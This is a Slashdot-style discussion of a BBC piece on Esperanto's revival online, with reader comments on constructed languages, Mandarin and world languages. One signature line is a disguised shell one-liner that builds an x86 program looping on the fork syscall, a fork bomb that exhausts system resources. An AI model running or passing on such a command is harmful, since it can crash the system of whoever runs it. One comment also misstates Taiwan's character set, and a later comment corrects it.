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The Invented Language That Found a Second Life Online (bbc.com)
More than 100 years after it was invented, Esperanto is spoken by relatively few people. But the internet has brought new life to this intriguing, invented language. From a report: Since it [Esperanto] was first proposed in a small booklet written by Ludwik L Zamenhof in 1887, it has evolved into the quintessential invented language, the liveliest and most popular ever created. But, many would tell you, Esperanto is a failure. More than a century after it was created, its current speaker base is just some two million people -- a geeky niche, not unlike the fan base of any other obscure hobby.
[...] Learning Esperanto used to be a solitary quest. You could practise it by sitting for weeks with a book and a dictionary, figuring out the rules and memorising the words. But there was usually no professor to correct your mistakes or polish your pronunciation. That's how Anna Lowenstein taught herself Esperanto in her teenage years, after becoming frustrated with the oddities of the French she was learning in school. In the last page of her textbook, there was an address for the British Esperanto Association. She sent a letter, and some time later was invited to a meeting of young speakers in St Albans.
The global community that Lowenstein was joining was put together via snail mail, paper magazines and yearly meetings. [...] Newer generations are not as patient, and they don't have to be. Unlike most of their elders, who rarely had the chance to speak Esperanto, today's speakers can use the language every day online. Even old computer communication services like Usenet had Esperanto-speaking hubs, and a lot of pages and chat rooms sprouted in the early days of the Web. Today, the younger segment of the Esperantio is keen on using social media: they gather around several groups in Facebook and Telegram, a chat service.
[...] Learning Esperanto used to be a solitary quest. You could practise it by sitting for weeks with a book and a dictionary, figuring out the rules and memorising the words. But there was usually no professor to correct your mistakes or polish your pronunciation. That's how Anna Lowenstein taught herself Esperanto in her teenage years, after becoming frustrated with the oddities of the French she was learning in school. In the last page of her textbook, there was an address for the British Esperanto Association. She sent a letter, and some time later was invited to a meeting of young speakers in St Albans.
The global community that Lowenstein was joining was put together via snail mail, paper magazines and yearly meetings. [...] Newer generations are not as patient, and they don't have to be. Unlike most of their elders, who rarely had the chance to speak Esperanto, today's speakers can use the language every day online. Even old computer communication services like Usenet had Esperanto-speaking hubs, and a lot of pages and chat rooms sprouted in the early days of the Web. Today, the younger segment of the Esperantio is keen on using social media: they gather around several groups in Facebook and Telegram, a chat service.
Everyone go watch Incubus, then we'll circle back here to discuss.
"Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
Taking different a bit of all languages (from this, the roots; from that, some alphabet chars, from those, some cyrillic chars; from that, some verbal conjugation; from that other language, the sentence structure, etc.) so all people can find something "familiar" in the language just to maximize the popularity... ...and mixing it, ignoring the BASIS of any language evolution (to SIMPLIFICATION), makes Esperanto the epitome of failure.
Latin with grammar taked out. Lame.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Learning a third language is easier when you know a second language. Hungarian kids somehow learn Esperanto and then English like 40% faster if they learn English only to the same eventual English fluency.
Go figure.
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We need to force everyone to speak LOGLAN so that fiercely logical LOGLAN soldiers can conquer the world, then the galaxy and finally the universe.
LOGLAN is like metric but applied to your mind.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Obligatory XKCD
Obligatory: https://xkcd.com/927/
That really sucks. Ido is better. Why can't people use languages which don't have exceptions to its rules and one which its words sound exactly how they're spelled?
It's not quite "grammar taked out". Grammar is made up of morphology (inflections and derivations) and syntax (word order). The more you take out of morphology, the more rigid the syntax becomes. For instance, Chinese and English have very little inflection, but their syntax is more rigid than (say) Russian or Latin.
Besides, there is a Latin minus inflectional morphology, and it's called Latino sine flexione. It was proposed by Giuseppe Peano, who also invented fractals and put math on a rigorous axiomatic foundation. The better-known Interlingua began as a reform of LSF.
You're talking about "Darmok" (ST:TNG 5x02), an episode that the staff of Ars Technica disagree about.
But we already have that. It's called "meme culture" and "Obligatory xkcd/Oatmeal/Onion" and "if you don't get it, turn in your geek card".
...Just wake up on the Riverworld.
“Bonvoro alsendi la pordiston, lausajne estas rano en mia bideo!”
I wouldn't consider Esperanto as an "invented" language : it rather looks like an interpolation of German / French / Italian English / Latin
BTW I tried to learn Esperanto a few years ago : it was ridiculously easy... I gave up because it was useless to me (at that time). But if learning Esperanto could reward you with the same university credits as other languages (for a similar level), I am sure that many (lazy) students would learn it.
...as was pointed out, it was very Latin and European language-oriented. There wasn't much that looked like Mandarin, Japanese, or Swahili in it. For all purposes and means, English is used now as a universal language although this is likely to change in the next centuries, if history and memory serves.
There's a great podcast about Esperanto on Freakanomics Radio...
http://freakonomics.com/podcas...
And the world does join together: to laugh at globalists.
If you need an example of how insanely bad of an idea it is to pollute the world with unneeded languages, consider either Hebrew, Gaelic or Nynorsk. They increase the number of languages for no apparent reason.
There are currently 4 languages of significance in the world.
- English (hardly any native speakers but widely proliferated, likely the most spoken and understood language)
- Spanish (possibly the most spoken language by people who only speak on language)
- Mandarin (lots of speakers in many countries, though very difficult to learn due to the dependence on vowel pronunciation)
- Arabic (a very widely used language within a given religion, estimated speakers around the same as Mandarin or Spanish)
For a runner up, French which is widely spoken in Africa and is expected to eventually become the most widely spoken language in the world due to good improving health care in Africa.
Additionally, Hindi is widely spoken and if Punjabi is considered compatible with Hindi and even little more than a common language as a union, it may be the most spoken language after English.
Of course my numbers are based on my understanding and I can link any references. But this has been what I've learned through my research.
At some point in time, English is likely to become the universal language in the world. For an example of its versatility, I just traveled to Qatar and spent a day with 15 people from the Philippines, multiple regions of India and multiple regions within Africa and the middle east. We were all able to communicate naturally because of English.
Fewer languages are better. We should never strive to introduce new languages since even engineered languages will eventually diversify and contain local dialects and colloquialisms. The sooner we reach a single spoken language and attempt to eliminate the smaller languages, the sooner we can call ourselves Earthlings.
Of course, I'm a globalist. I don't believe in patriotism or borders. People are people and borders are not useful for anything other than taxation.
The problem with learning any language is that if you don't use it, you will lose it. There is absolutely no reason to learn anything if you can't continuously apply it. Only then will "learning" something be fruitful and purposeful. This is the fallacy of egg headed educators insisting everyone should learn a foreign language. They are wasting people's time.
All language is invented...
People who liked Esperanto also liked:
* Rust
All languages are invented, Esperanto just happened to be a relatively recent invented language.
Esperanto was invented by an opthamologist, L. L. Zamenhof, to be a universal second (and maybe eventually first) language that would overcome the "curse of Babel", so many different tongues in use that people cannot communicate. Being an artificial language there would be one codified grammar that everyone would use instead of the many dialectical variations seen in natural languages.
Only Zamenhof, while multi-lingual, was no linguist and did a mediocre job of designing the language. In his (partial) defense he was one of the first to try this (there were a few earlier projects), artificial language design was not trendy the way it seems today.
And so for a universal, common language Esperanto has had a tendency to generate new dialects (Ido, Romániço, etc.) often due the inadequacies of Zamenhof's original specification.
There are a number of significant design flaws that make this "easy to learn" language unnecessarily hard. The transitivity of verbs for example requires memorizing the semi-arbitrary rule assignments for hundreds of verbs, and most Esperanto users make frequent errors. Also the actual interpretation of verbs was not properly defined by Zamenhof, whether they express tenses (past, present, future) or aspects (whether it is completed or on-going). Zamenhof apparently did not understand the distinction himself and wrote contradictory things. In fact his grammar is often vague and numerous controversies have developed over the years.
Then there was the wholly unnecessary inclusion of gender for nouns. Zamenhof apparently did this because the languages he was familiar with did this, but the gender assignments are arbitrary, add nothing of a value to the language, require memorization, and are a problem that must be decided with each newly coined word. As a result the language in use has diverged from the official grammar and dictionary, with the conversion of most "male" gendered words to neutral. And this has led to a dialectical split in the language with people who want to simply eliminate gender (or at least the male gender) and those that want to preserve the original specification (such as it is).
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
The tone inflection (pitch change) is tricky to learn, but is not the main impedance in my opinion. Mandarin grammar is simpler than English, which compensates for the tones in terms of learning time.
However, Mandarin has no consistent written form. Pinyin is one attempt to provide a phonetic written form (using Latin-derived characters), but it's not used much in China. Chinese use the pictograph-based writing system instead, in part because it's mostly cross-dialect, being non-phonetic.
Taiwan uses a simplified version of the same pictographs, but "mainland" China rejects those probably for political reasons. The simplified set is more efficient to use.
Further, Mandarin is not used much on a day-to-day basis. Most Chinese still use their local dialect as their primary language. Although, that may change as people move around for career reasons.
Ironically, pictographs are making a comeback in the form of emoji's. "Emojiese" may be the real language of the future, not Esperanto. I've even seen several emoji-based ads. Unlike most phonetic-based text, pictographs are mostly self-explanatory, or at least give more visual cues than text.
For example, past tense ("before") could be indicated by a clock with an arrow pointing counter-clockwise. Such may stump you the first time, but the second time it's pretty obvious in terms of re-triggering the concept: "Clock? backward? Oh yeah, time-shift is 'before'." Contrast this with the difficulty of remembering verb tenses, especially in languages with inconsistent rules.
Emoji's are hard to write on paper, but easy to learn to read. In a button-based world, writing is less of a burden because our machines allow us to type in our native language and get a menu of candidate emoji's. The pen is no longer the bottleneck. Further, clicking on an emoji could trigger a translation into your native language if one stumps you.
Table-ized A.I.
I thought this was going to be an article about Esperanto being used on Second Life.
I am leaving woefully disappointed.
The Berks County ("Fancy") dialect of Pennsylvania Dutch was dying out, but the internet has started to revitalize it, just like Esperanto. Of course, the demographic trend is that the "Plain" dialect spoken by the Amish will wipe out all other languages in a century or so. (Not kidding.)
Our venerable Captain Kirk starred in a film, Incubus, for which all dialog was in Esperanto. There's a YouTube clip.
Bonvoro alsendi la pordiston, lausajne estas rano en mia bideto.
systemd is Roko's Basilisk.
I want to go and spin up a virtual machine and install Linux.... in step 1 your pick your language.
1. Is Esperanto in that list? {ve test iff zat iz a real language}
2. If it is a mix of several "core" (Euro) languages, will I find my way around using the computer? {ve test iff Herr Zamenhoff did guten job}
Learn not to speak Esperanto
tl;dr: Esperanto is badly designed, with a lot of irregularity and Eastern European-isms built into it, especially the choice of phonemes.
Also this: https://xkcd.com/927/
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
We have only have about 600k people. nearly 50% of which (!!) foreigners*. (Mostly from the surrounding countries.)
Except for some Germans and second- and post-second generation Portuguese, only the natives speak our language, Luxemburgish.
That’s probably only about 400k people.
Yet, our language is considered healthy and thriving, with no reason why it should go under, let alone called "failed".
2 million is quite a healthy number. Even though I dislike Esperanto for being so dumbed-down and limited, while being rather arbitrary in many decisions. It's like the iDevice of languages. I prefer something with maximum power without becoming hard.
___ ;)
* This is quite alright. We are a very rich country in culture too as a result. Our supermarkets carry stuff from all those countries... which is glorious. I don't know why people knock immigration so much. Sure, the nutjobs come too. But we have them too. Sure, the drugs are sold to the junkies by the French Africans, but they buy them from the Luxemburgish cops themselves, and sell them to the judges and politicians too. And the brats of the rich people are just as much a problem. And we have loads of immigrant *banks* too. But all-in-all, the advantages we have thanks to immigrants (like cheap lower-class workers, diverse foods and art, and learning a shitload about the world) outweigh them a tenfold. We're such a rich country for a reason. We hide *all* your money.
Interlingua is one of Esperanto's competitors. It resembles a simplified modern spoken latin and is very useful for scientific communication. It is said that interlingua can be understood relatively well by most speakers of european languages, although the reverse is not necessarily true.
https://en.wikipedia.org/wiki/...
It is a good language to study just to learn the word roots which have high cognates with other modern languages.
Clickety Click
Taiwan uses a simplified version of the same pictographs, but "mainland" China rejects those probably for political reasons. The simplified set is more efficient to use.
NB this is exactly backwards: Taiwan uses the traditional version, mainland China uses the simplified version. It's not really a big deal....in each system, most of the characters are the same (and the characters that are simplified are simplified in mostly a systematic way). In my observation it only takes a few weeks to get used to the other system if you already know one of them.
"First they came for the slanderers and i said nothing."
It remains the same niche thing that it has always been. Its importance and global impact are negligible, and likely to remain so forever.
I like the fact that with Logban we can make statements that have only one interpretation. As such, I think that in the future it would be the language to talk to machines. Or else, you will get these types of conversations:
"Alexa, I never want to see my wife again." - Alexa cuts out your eyeballs.
Tell you what... I might look into Esperanto when I get finished learning (Mandarin) Chinese. Because Mandarin is much, much more important in general as in there are large numbers of people who speak it, even here in the USA, and Chinese food is mostly awesome and it helps when ordering to be able to speak the language (and Esperanto lacks food traditions entirely, so phbbbt.)
Don't even get me started on Cantonese. Or other variants. Ouch.
The catch is... near as I can tell, I'll never finish learning Mandarin. Somewhere there must have been an emperor who ensured that Mandarin was going to be the hardest language to learn ever.
Turns out I have no plans to learn Klingon, either. Not until there are real aliens speaking would I be interested in such a thing. At which point, I would consider it my #1 priority, though. Because, you know, aliens!
I've fallen off your lawn, and I can't get up.
[2018/01/11 07:57] Esperanto Resident: Ne certas, pri kio vi parolas. i tie en la lando de Lindens ni uzas "LSL".
I have enough smatterings of languages to almost hold a conversation in a number of them. This of course means I can't hold a whole conversation in any of them, so I was delighted a few years ago to be in a bar in Luxembourg having a wide-ranging, deep and wide conversation with a European diplomat in a number of languages at the same time. If I couldn't find the right French word in the middle of a sentence, I would use the German, or at the very worst English (though he wasn't very good at all at English). He'd reply in bits of Spanish, Danish and so on. I even tossed in a bit of Russian for good measure. Halfway through the conversation he shared with me that we were instinctively using a technique that was his passion - the macaronic language Europanto - unfortunately now no longer a recognised language; it made far more sense to me than learning an entirely new, generic language.
Ahem. Welsh.
You are correct. I made a mistake.
While it's fairly easy to cross-read each kind, learning to write them is another matter. But I guess that's less important if it's informal: just write the version you know.
Table-ized A.I.
Unlike most phonetic-based text, pictographs are mostly self-explanatory, or at least give more visual cues than text.
Definitely. People on the Internet keep telling me to eat eggplant, and I love eggplant.
sub f{($f)=@_;print"$f(q{$f});";}f(q{sub f{($f)=@_;print"$f(q{$f});";}f});
These days you don't have to worry about writing, just type.
"First they came for the slanderers and i said nothing."
does anyone learn french to speak about how they speak french? well, maybe a few poseurs, but no. you dont learn a language to talk about that language. you learn a language to talk to others about everything. this is just a silly little experiement by language fans. its like going out to dinner and all you ever talk about is the food.
What's it got that Klingon doesn't?
What is the point of invented languages if they can only be spoken by speakers of European languages? A truly universal language would include only sounds that can be vocalized by all humans. And ideally it could be signed manually (like ASL) and be communicated with numbers. In this way it could be useful in creating a universal culture, if you believe that language IS culture in many ways. And without a universal culture, is there any pathway to world peace? Probably not. There is a chance that this is not a trivial problem.
If you compare Esperanto to Klingon, you don't understand it. Both have different objectives, comparing them is like comparing gloves and boots.
If you say phonemes are hard, you don't get it, too. It's a planned second-language: it must work as bridge and it does that. You'll learn, for instance, that "j" is pronounced as "i" (like in "bit"). Thus a Jaguar is actually a Yaguar.
If you say grammar has unnecessary things, it must be so because other languages offer resources that English does not -- and, yes, they are important. So, Eo (Esperanto) is like a bridge here, too.
If you say grammar is lacking features other languages have, we are in a conundrum, right? But Esperanto simplifies things to keep people who use simpler languages from being overwhelmed.
If you say Ido, or Interlingua etc. are better, you don't get that people who created these languages had different objectives than those of Esperanto. They adhere better to their own aims, while Eo is closer to its original purposes -- though one must admit "peace" requires a lot more than a common language. People wage wars even against those who are almost relatives.
It's hard for us to understand what motivated Zamenhof back then, but one can have an idea just looking at the recent confusion about the Mexican-US border.
Esperanto is a language with an "internal idea": that all humans are brothers. Of course, many governments won't like that idea. It makes the concept of world citizen too easy to grasp (and live!). That is why they call the language limited, inadequate, a failure and a plethora of other offenses.
There is an Esperanto culture and it has attractive aspects of its own. Sometimes it seems like some kind of club and creates a feeling that one could travel to the far corners of Earth and still be able to be understood -- which really happens, but in reality one still must consider religion, racism, intolerance of many kinds, among other barriers.
But Esperanto is great at eliminating a big barrier which is created by intermediate cultures. This happened in the past when e.g. Englishmen would need French to talk to Russians; or now, when two countries must use English as a common language, but neither speaks it natively. Esperanto enables a direct connection between me and a person on the other side of the world. I've used it to learn about other cultures, to read some of their literary works and to know facts which would take decades to get published through English (that has really happened!).
So, much to my surprise, it turned out that Esperanto is actually useful to me.
Unlike most phonetic-based text, pictographs are mostly self-explanatory, or at least give more visual cues than text.
Definitely. People on the Internet keep telling me to eat eggplant, and I love eggplant.
Dammit I'm out of mod points. +1